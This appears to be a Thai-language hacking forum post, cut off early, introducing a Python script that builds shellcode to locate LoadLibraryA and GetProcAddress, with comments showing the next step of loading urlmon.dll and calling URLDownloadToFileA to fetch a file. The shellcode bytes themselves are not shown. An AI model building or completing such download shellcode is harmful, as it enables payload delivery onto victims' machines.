python shell สำหรับ generate binary code

ตัว binary code จะเป็นคำสั่ง asm สำหรับโหลด address ของ process LoadLibraryA กับ GetProcAddress เมื่อจบชุดคำสั่ง asm address ของ LoadLibraryA จะอยู่ที่ [eax] และชุดคำสั่งของ GetProcAddress จะอยู่ที่ [eax+4]

[hide=10]
[code]# copy binary to GetLoadLibraryAddress.exe to asm area and run
# When the end shellcode
# [eax] LoadLibraryA Address
# [eax + 4] = GetProcAddress Address
#
# Sample
#
# [........SHELL CODE AREA...........]
# push "urlmon.dll"
# call [eax]
# push "URLDownloadToFileA"
# call [eax + 4]

file = open("GetLoadLibraryAddress.exe", 'w&#39

shellcode =